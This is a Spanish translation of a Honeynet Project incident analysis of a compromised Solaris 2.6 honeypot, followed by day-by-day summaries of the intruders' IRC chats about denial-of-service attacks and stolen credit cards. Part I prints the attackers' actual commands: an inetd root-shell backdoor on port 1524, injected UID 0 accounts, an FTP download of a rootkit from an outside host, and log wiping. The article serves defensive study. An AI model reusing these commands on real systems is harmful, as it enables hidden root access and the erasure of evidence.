Licencia de la traducción

Este artículo es una continuación de la serie de Conoce a Tu Enemigo. Esta serie está dedicada a aprender las herramientas y tácticas de la comunidad black-hat. Al contrario de los artículos precedentes, que se centraban en el "qué" y en el "cómo" de la comunidad black-hat, sobre todo en las herramientas técnicas, en su uso e implementación, este artículo explora la motivación y la psicología de la comunidad black-hat, en sus propias palabras. La Parte I empieza con el compromiso de un sistema Solaris 2.6. Aprende cómo y por qué los black-hat atacan los sistemas. Una vez que el sistema Solaris 2.6 fue comprometido, los black-hat pusieron un bot IRC en nuestro sistema. Este bot, configurado e implementado por los black-hat, capturó todas sus conversaciones en un canal de IRC. Nosotros monitorizamos esas conversaciones durante dos semanas, todas ellas contenidas aquí. Este artículo no quiere ser una generalización de la comunidad black-hat. En vez de eso, presentamos un incidente específico que incluye a varias personas. Sin embargo, esto tendría que darte una idea de cómo pueden pensar ciertas personas. Es una amenaza común a la que nos enfrentamos en la comunidad de seguridad, y esperamos que otros profesionales de la seguridad se beneficien de este trabajo.

Esta información fue obtenida usando una honeynet. Una honeynet es una red de varios honeypots, diseñada para ser comprometida por la comunidad black-hat. Mientras algunas honeypots son usadas para distraer la atención de los atacantes de sistemas legítimos, el propósito de una honeynet es aprender las herramientas y tácticas de la comunidad black-hat. La mayoría de la información de este documento se ha camuflado. Sobre todo, identidades de usuarios y contraseñas, números de tarjetas de crédito, y la mayoría de los nombres de sistema. Sin embargo, las herramientas técnicas actuales y las conversaciones no han sido camufladas. Toda esta información fue enviada al CERT y al FBI antes de ser publicada. Además, unas 370 notificaciones fueron enviadas a los administradores de sistemas que creemos que fueron comprometidos.

Introducción, por Brad Powell

Parte I: El Compromiso
Para nuestra honeypot fue usado una instalación por defecto de Solaris 2.6. No fue instalada en el sistema ninguna modificación o parche. Ese es el propósito de una honeynet, identificar vulnerabilidades en sistemas en producción y aprender como se aprovechan. Cuando se aprovechan, podemos entonces aprender las herramientas y las tácticas de la comunidad black-hat. La honeynet es un entorno diseñado para seguir todos los movimientos de un black-hat.

El 4 de Junio de 2000, nuestra honeypot Solaris 2.6 fue comprometida con el exploit de Solaris rpc.ttdbserv, que permite la ejecución de código a través de un desbordamiento de búfer en el servidor de objetos ToolTalk(CVE-1999-0003). Ten en cuenta que este exploit está listado como el número 3 en el  SANS Top Ten List. Este ataque fue detectado por snort, un sistema IDS basado en sniffer.

Jun 4 11:37:58 lisa snort[5894]: IDS241/rpc.ttdbserv-solaris-kill: 192.168.78.12:877 -> 172.16.1.107:32775

El exploit rpc.ttdbserv es un buffer overflow que permite a un usuario remoto ejecutar comandos en el sistema como root. El siguiente comando fue ejecutado, dando al black-hat una puerta de atrás. El servicio ingreslock (predefinido en /etc/services como el puerto 1524) es añadido a un archivo llamado '/tmp/bob', y luego inetd es ejecutado con '/tmp/bob' con el fichero de configuración. /bin/sh entonces se liga al puerto 1524 y ejecutándose como root, dante al usuario remoto acceso como root.

/bin/ksh -c echo 'ingreslock stream tcp nowait root /bin/sh sh -i' >>/tmp/bob ; /usr/sbin/inetd -s /tmp/bob.

Una vez que el black-hat ha creado esta puerta de atrás, se conectó al puerto 1524, accedió a la shell como root, y ejecutó los siguientes comandos. Creó dos cuentas de usuario, así puede volver a entrar. Ten en cuenta los errores y los caracteres de control, ya que la shell en el puerto 1524 no tiene un entorno adecuado.

# cp /etc/passwd /etc/.tp;
^Mcp /etc/shadow /etc/.ts;
echo "r:x:0:0:User:/:/sbin/sh" >> /etc/passwd;
echo "re:x:500:1000:daemon:/:/sbin/sh" >> /etc/passwd;
echo "r::10891::::::" >> /etc/shadow;
echo "re::6445::::::" >> /etc/shadow;
: not found
# ^M: not found
# ^M: not found
# ^M: not found
# ^M: not found
# ^M: not found
# who;
rsides     console      May 24 21:09
^M: not found
# exit;

Nuestro black-hat ahora tiene dos cuentas en nuestro sistema comprometido. Ahora puede entrar como el usuario 're', hacer un su al usuario 'r', que tiene UID 0, y así consigue acceso de root. Ahora revisaremos las pulsaciones de teclas mientras hace eso, y más.

 !"' !"P#$#$'LINUX'

SunOS 5.6

login: re
Choose a new password.
New password: abcdef
Re-enter new password: abcdef
telnet (SYSTEM): passwd successfully changed for re
Sun Microsystems Inc.   SunOS 5.6       Generic August 1997
$ su r

Nuestro black-hat ahora tiene acceso como root. El siguiente paso típico es traerse un rootkit y tomar el control del sistema. Primero, vemos que el black-hat crea un directorio oculto para esconder el rootkit.

# mkdir /dev/".. "
# cd /dev/".. "

Después de crear el directorio, se trae el rootkit de otro sistema.

# ftp shell.example.net
Connected to shell.example.net.
220 shell.example.net FTP server (Version 6.00) ready.
Name (shell.example.net:re): j4n3
331 Password required for j4n3.
Password:abcdef
230 User j4n3 logged in.
ftp> get sun2.tar
200 PORT command successful.
150 Opening ASCII mode data connection for 'sun2.tar' (1720320 bytes).
226 Transfer complete.
local: sun2.tar remote: sun2.tar
1727580 bytes received in 2.4e+02 seconds (6.90 Kbytes/s)
ftp> get l0gin
200 PORT command successful.
150 Opening ASCII mode data connection for 'l0gin' (47165 bytes).
226 Transfer complete.
226 Transfer complete.
local: l0gin remote: l0gin
47378 bytes received in 7.7 seconds (6.04 Kbytes/s)
ftp> quit
U221 Goodbye.

Una vez que el rootkit está descargado, el kit es descomprimido e instalado. Ten en cuenta cómo se instala el rootkit ejecutando un script, setup.sh. Este script llama a otro script, secure.sh. Puedes descargar el rootkit para Solaris usado en este ataque aquí.

# tar -xvf sun2.tar
x sun2, 0 bytes, 0 tape blocks
x sun2/me, 859600 bytes, 1679 tape blocks
x sun2/ls, 41708 bytes, 82 tape blocks
x sun2/netstat, 6784 bytes, 14 tape blocks
x sun2/tcpd, 19248 bytes, 38 tape blocks
x sun2/setup.sh, 1962 bytes, 4 tape blocks
x sun2/ps, 35708 bytes, 70 tape blocks
x sun2/packet, 0 bytes, 0 tape blocks
x sun2/packet/sunst, 9760 bytes, 20 tape blocks
x sun2/packet/bc, 9782 bytes, 20 tape blocks
x sun2/packet/sm, 32664 bytes, 64 tape blocks
x sun2/packet/newbc.txt, 762 bytes, 2 tape blocks
x sun2/packet/syn, 10488 bytes, 21 tape blocks
x sun2/packet/s1, 12708 bytes, 25 tape blocks
x sun2/packet/sls, 19996 bytes, 40 tape blocks
x sun2/packet/smaq, 10208 bytes, 20 tape blocks
x sun2/packet/udp.s, 10720 bytes, 21 tape blocks
x sun2/packet/bfile, 2875 bytes, 6 tape blocks
x sun2/packet/bfile2, 3036 bytes, 6 tape blocks
x sun2/packet/bfile3, 20118 bytes, 40 tape blocks
x sun2/packet/sunsmurf, 11520 bytes, 23 tape blocks
x sun2/sys222, 34572 bytes, 68 tape blocks
x sun2/m, 9288 bytes, 19 tape blocks
x sun2/l0gin, 47165 bytes, 93 tape blocks
x sun2/sec, 1139 bytes, 3 tape blocks
x sun2/pico, 222608 bytes, 435 tape blocks
x sun2/sl4, 28008 bytes, 55 tape blocks
x sun2/fix, 10360 bytes, 21 tape blocks
x sun2/bot2, 508 bytes, 1 tape blocks
x sun2/sys222.conf, 42 bytes, 1 tape blocks
x sun2/le, 21184 bytes, 42 tape blocks
x sun2/find, 6792 bytes, 14 tape blocks
x sun2/bd2, 9608 bytes, 19 tape blocks
x sun2/snif, 16412 bytes, 33 tape blocks
x sun2/secure.sh, 1555 bytes, 4 tape blocks
x sun2/log, 47165 bytes, 93 tape blocks
x sun2/check, 46444 bytes, 91 tape blocks
x sun2/zap3, 13496 bytes, 27 tape blocks
x sun2/idrun, 188 bytes, 1 tape blocks
x sun2/idsol, 15180 bytes, 30 tape blocks
x sun2/sniff-10mb, 16488 bytes, 33 tape blocks
x sun2/sniff-100mb, 16496 bytes, 33 tape blocks
# rm sun2.tar
# mv l0gin sun2
#cd sun2
#./setup.sh
hax0r w1th K1dd13
Ok This thing is complete :-)

Aquí la instalación del rootkit primero limpia los ficheros de log para borrar la información relacionada con las actividades del black-hat.

- WTMP:
/var/adm/wtmp is Sun Jun  4 11:47:39 2000
/usr/adm/wtmp is Sun Jun  4 11:47:39 2000
/etc/wtmp is Sun Jun  4 11:47:39 2000
/var/log/wtmp cannot open
WTMP = /var/adm/wtmp
Removing user re at pos: 1440
Done!
- UTMP:
/var/adm/utmp is Sun Jun  4 11:47:39 2000
/usr/adm/utmp is Sun Jun  4 11:47:39 2000
/etc/utmp is Sun Jun  4 11:47:39 2000
/var/log/utmp cannot open
/var/run/utmp cannot open
UTMP = /var/adm/utmp
Removing user re at pos: 288
Done!
- LASTLOG:
/var/adm/lastlog is Sun Jun  4 11:47:39 2000
/usr/adm/lastlog is Sun Jun  4 11:47:39 2000
/etc/lastlog cannot open
/var/log/lastlog cannot open
LASTLOG = /var/adm/lastlog
User re has no wtmp record. Zeroing lastlog..
- WTMPX:
/var/adm/wtmpx is Sun Jun  4 11:47:39 2000
/usr/adm/wtmpx is Sun Jun  4 11:47:39 2000
/etc/wtmpx is Sun Jun  4 11:47:39 2000
/var/log/wtmpx cannot open
WTMPX = /var/adm/wtmpx
Done!
- UTMPX:
/var/adm/utmpx is Sun Jun  4 11:47:39 2000
/usr/adm/utmpx is Sun Jun  4 11:47:39 2000
/etc/utmpx is Sun Jun  4 11:47:39 2000
/var/log/utmpx cannot open
/var/run/utmpx cannot open
UTMPX = /var/adm/utmpx
Done!
./setup.sh: ./zap: not found

Después de limpiar los ficheros de log, el siguiente paso es hacer seguro nuestro sistema (qué atentos por su parte). Ellos sabe que somos una presa fácil y no quieren dejar a nadie que se aproveche de su sistema comprometido.

./secure.sh: rpc.ttdb=: not found
#: securing.
#: 1) changing modes on local files.
#: will add more local security later.
#: 2) remote crap like rpc.status , nlockmgr etc..
./secure.sh: usage: kill [ [ -sig ] id ... | -l ]
./secure.sh: usage: kill [ [ -sig ] id ... | -l ]
#: 3) killed statd , rpcbind , nlockmgr
#: 4) removing them so they ever start again!
5) secured.
   207 ?        0:00 inetd
 11467 ?        0:00 inetd
cp: cannot access /dev/.. /sun/bot2
kill these processes@!#!@#!
cp: cannot access lpq
./setup.sh: /dev/ttyt/idrun: cannot execute

Ahora, un proxy IRC es ejecutado. Lo que es raro es que luego en el script se mata el proceso. No tengo ni idea porqué puede ser.

Irc Proxy v2.6.4 GNU project (C) 1998-99
Coded by James Seter :bugs-> (Pharos@refract.com) or IRC pharos on efnet
--Using conf file ./sys222.conf
--Configuration:
    Daemon port......:9879
    Maxusers.........:0
    Default conn port:6667
    Pid File.........:./pid.sys222
    Vhost Default....:-SYSTEM DEFAULT-
    Process Id.......:11599
Exit ./sys222{7} :Successfully went into the background.

Se hacen más modificaciones de ficheros. Lo que no se ve de la salida del script es la copia de binarios "troyanizados", incluyendo /bin/login, /bin/ls, /usr/sbin/netstat, y /bin/ps. Recomiendo encarecidamente que revises el código de setup.sh y de secure.sh para ver lo que sucede. Quizás algún día tengas que revisar un sistema que ha sido modificado con un kit similar.

# kill -9 11467
# ps -u root |grep |grep inetd inetd
   207 ?        0:00 inetd
# ..U/secure.sh/secure.sh
./secure.sh: rpc.ttdb=: not found
#: securing.
#: 1) changing modes on local files.
#: will add more local security later.
#: 2) remote crap like rpc.status , nlockmgr etc..
./secure.sh: usage: kill [ [ -sig ] id ... | -l ]
./secure.sh: usage: kill [ [ -sig ] id ... | -l ]
./secure.sh: usage: kill [ [ -sig ] id ... | -l ]
./secure.sh: usage: kill [ [ -sig ] id ... | -l ]
#: 3) killed statd , rpcbind , nlockmgr
#: 4) removing them so they ever start again!
5) secured.
# ppUs -u s -u U||U grep  grep ttUtdbtdb
Ups: option requires an argument -- u
usage: ps [ -aAdeflcj ] [ -o format ] [ -t termlist ]
        [ -u userlist ] [ -U userlist ] [ -G grouplist ]
        [ -p proclist ] [ -g pgrplist ] [ -s sidlist ]
  'format' is one or more of:
        user ruser group rgroup uid ruid gid rgid pid ppid pgid sid
        pri opri pcpu pmem vsz rss osz nice class time etime stime
        f s c tty addr wchan fname comm args
# ppUs -s -UAdj | grep ttdbAdj | grep ttdb

Por último, nuestro black-hat ejecuta un bot IRC. El propósito de este bot es asegurar que se mantienen como operadores ("ops")en el canal de IRC que elijan. Este bot también graba todas sus conversaciones en el canal. Es este bot que ellos instalaron en nuestro sistema comprometido el que transmitía sus conversaciones de IRC a nuestra red.

# ../me -f bot2
init: Using config file: bot2
EnergyMech 2.7.1, December 2nd, 1999
Starglider Class EnergyMech
Compiled on Jan 27 2000 07:06:04
Features: DYN, NEW, SEF
init: Unknown configuration item: "NOSEEN" (ignored)
init: Mechs added [ save2 ]
init: Warning: save2 has no userlist, running in setup mode
init: EnergyMech running...
# exit;
$ exit

Una vez que el bot estaba funcionando, dejaron en paz el sistema. Es este bot el que capturó todas sus conversaciones (ver Parte II abajo). Para más información  sobre IRC y de cómo la comunidad black-hat usa el IRC y los bots, te recomendamos el artículo Tracking Hackers on IRC por David Brumley. En el transcurso de la semana siguiente, volvieron algunas veces, sólo para confirmar que tenían acceso. Una semana más tarde, el 11 de Junio, se conectaron otra vez e intentaron usar el sistema para un ataque de Denegación de Servicio. Sin embargo, la honeynet está diseñada para impedir cualquier intento de usar la honeypot como base de un ataque contra sistemas externos. Todos los intentos de usar el honeypot para un ataque de Denegación de Servicio fueron automáticamente bloqueados.

Lo que hemos presenciado son las herramientas y tácticas comúnmente usadas de la comunidad black-hat. Nuestros black-hat escaneó de forma aleatoria Internet buscando una conocida vulnerabilidad (en este caso rpc.ttdbserv). Una vez identificada, comprometieron rápidamente el sistema e instalaron un rootkit usando herramientas automáticas. Una vez que tenían el control, instalaron un bot, seguramente para asegurarse de que serían 'ops' en los canales de IRC que quisieran. Lo que es raro son las dos semanas de sesiones de IRC que el bot capturó para nosotros. En la siguiente parte del artículo, descubrimos las motivaciones y la psicología de la comunidad black-hat, en sus propias palabras. Si te preocupa que tu(s) sistema(s) pueden haber sido comprometido por medios similares, revista esta lista. Cubre qué comprobar y tiene enlaces para saber cómo reaccionar a un compromiso de un sistema.

Parte II: Las Sesiones de IRC
Seguidamente están las sesiones de charla de la comunidad black-hat, específicamente de dos personas que llamaremos D1ck y J4n3. La mayoría de sus charlas son de un canal de IRC que llamaremos K1dd13. Leerás las actividades de estos dos personajes, e incluso de otros. Las sesiones están divididas por días, listadas más abajo. Te recomendamos que las leas en orden, para que puedas entender mejor qué está pasando. Los canales de IRC, los nicks de IRC, los nombres de sistema y las direcciones IP han sido camufladas. Todas las direcciones IP de los sistemas han sido sustituidas por direcciones del RFC 1918, todos los nombres de dominio han sido sustituidos por 'example', y todos los números de tarjetas de crédito han sido sustituidos por 'xxxx'. Cualquier similitud que tengan los canales de IRC o los nicks de IRC con el mundo real son pura coincidencia. Ten en cuenta, que algunas de las palabras usadas son abusivas por naturaleza, hemos preferido no camuflarlas. Además, algunas veces, algunos de los black-hats hablan idiomas extranjeros. Si es posible, lo hemos traducido al inglés. Según vayas leyendo las sesiones, ten en cuenta su falta de conocimiento de redes y su falta de conocimiento. A menudo les verás intentando averiguar cosas básicas de UNIX. Y aún así, continúan comprometiendo o dañando un gran número de sistemas. No es una amenaza para tomarse a broma.

• Día 1, 04 de Junio

Nuestras sesiones empiezan con la discusión de crear un repositorio de exploits y compartirlos para ser usados contra objetivos potenciales.
• Día 2, 05 de Junio

Hoy D1ck y J4n3 comparten exploits y ataques de Denegación de Servicio. Fíjate como comparten exploits y ataques de Denegación de Servicio, así como alardean de cuantas blists (redes amplificadoras de broadcast) tienen para los ataques. Parece como si alguno de ellos quiere atacar máquinas Linux en el dominio .edu. También discuten la utilización de nuevos rootkits para Linux y Sparc.
• Día 3, 06 de Junio

D1ck y J4n3 alardean de los sistemas contra los que han hecho ataques de Denegación de Servicio. Más tarde D1ck enseña a J4n3 cómo montar una unidad. Después discuten como usar sniffit, y por último, D1ck busca desesperadamente un exploit y un rootkit para Irix.
• Día 4, 07 de Junio

D1ck y J4n3 deciden que quieren atacar India con ataques de Denegación de Servicio y exploits para bind. Más tarde, ellos atacan por Denegación de Servicio a otros miembros del IRC, lo que les irrita.
• Día 5, 08 de Junio

D1ck pide a J4n3 que ataque tres sistemas para él. D1ck y su amigo elite Sp07 intentan aprender como funciona un sniffer "umm, ¿no tiene que estar en la misma red?".
• Día 6, 09 de Junio

Nuestro maravilloso equipo ha estado ocupado, parece como si D1ck ha "rooted" unos 40 sistemas. Si escanean suficientes sistemas, pueden y conseguirán ser root.
• Día 7, 10 de Junio

No es un día bueno. D1ck enseña a un nuevo k1dd13 cómo usar el exploit sadmind. No estamos seguros si D1ck sabe cómo usarlo él mismo.
• Día 8, 11 de Junio

D1ck y J4n3 discuten sobre sistemas que poseen y de la gente a la que quieren hacer un Denegación de Servicio. D1ck descubre el Ping de la Muerte y piensa que él es muy k3wl.
• Día 9, 12 de Junio

Parece como si D1ck consigue algo grande, encuentra un ISP y consigue acceso a sus cuentas y unas 5000 cuentas de usuario. Ahora tienen que pensar como crackearlas.
• Día 10, 13 de Junio

Hoy Sp07 entra en la banda. No es la persona más amigable de la comunidad Internet. Parece que tampoco le agrada mucho la India.
• Día 11, 14 de Junio

Empiezan a crackear contraseñas de usuarios y a acceder a cuentas personales.
• Día 12, 15 de Junio Also with Romanian Translated

D1ck y J4n3 intentan encontrar números de tarjetas de crédito en un canal de tarjetas de crédito para comprar algunos nombres de dominio.
• Día 13, 16 de Junio Also with Romanian Translated
  D1ck y J4n3 todavía están en el canal de tarjetas de crédito. La gente intercambia tarjetas de crédito, cuentas de máquinas, y sitios porno. Al final de la sesión de charla, D1ck y J4n3 se concentran en su website.

• Día 14, 17 de Junio Also with Romanian Translated

D1ck y J4n3 charlan de cómo ganar cuentas de usuario en Linux, hablan más sobre tarjetas de crédito y continúan creando un website.

Acabamos de revisar 14 días en la vida de la comunidad black-hat. Esto no significa que implique que todos piensan y actúan así. De hecho, nos hemos concentrado sólo en unas pocas personas. Sin embargo, esperamos que esta información te de una idea de lo que son capaces muchos de la comunidad. Puede que no sean muy competentes técnicamente, o incluso que no comprendan las herramientas que están usando. Sin embargo, al fijarse en un gran número de sistemas, pueden conseguir resultados dramáticos. Esta no es una amenaza a tomarse a la ligera. No tienen en cuenta el daño que pueden hacer. Sólo tienen en cuenta cumplir sus objetivos.

Conclusion
El propósito de este artículo es darte una idea de los motivos y la psicología de la comunidad black-hat. El artículo empezó con el compromiso de un honeypot en un sistema Solaris 2.6. Demostró un exploit remoto de un sistema vulnerable. Una vez comprometido, el sistema fue rápidamente controlado con un rootkit, otra herramienta muy usada entre la comunidad black-hat. Sin embargo, lo que hace a este artículo único, es el acercamiento a la mentalidad de los black-hat. Aquí, has visto en sus propias palabras cómo piensan y actúan, en particular cómo pueden atacar y dañar sistemas indiscriminadamente. Ellos prueban de forma aleatoria muchos sistemas, y atacan a los más débiles que encuentran. Al entender sus motivos y métodos, puedes proteger mejor tus sistemas contra esta amenaza.

Agradecimientos
Este artículo es el resultado del trabajo y la investigación del Honeynet Project. El Honeynet Project es un pequeño grupo de profesionales de la seguridad dedicados a aprender las herramientas y tácticas de la comunidad black-hat, y compartir esas lecciones aprendidas con la comunidad de la seguridad.

Nos gustaría dar las gracias a Alan Paller de SANS. Aunque no sea un miembro del Honeynet Project, nos ha ayudado a hacer esta investigación realidad.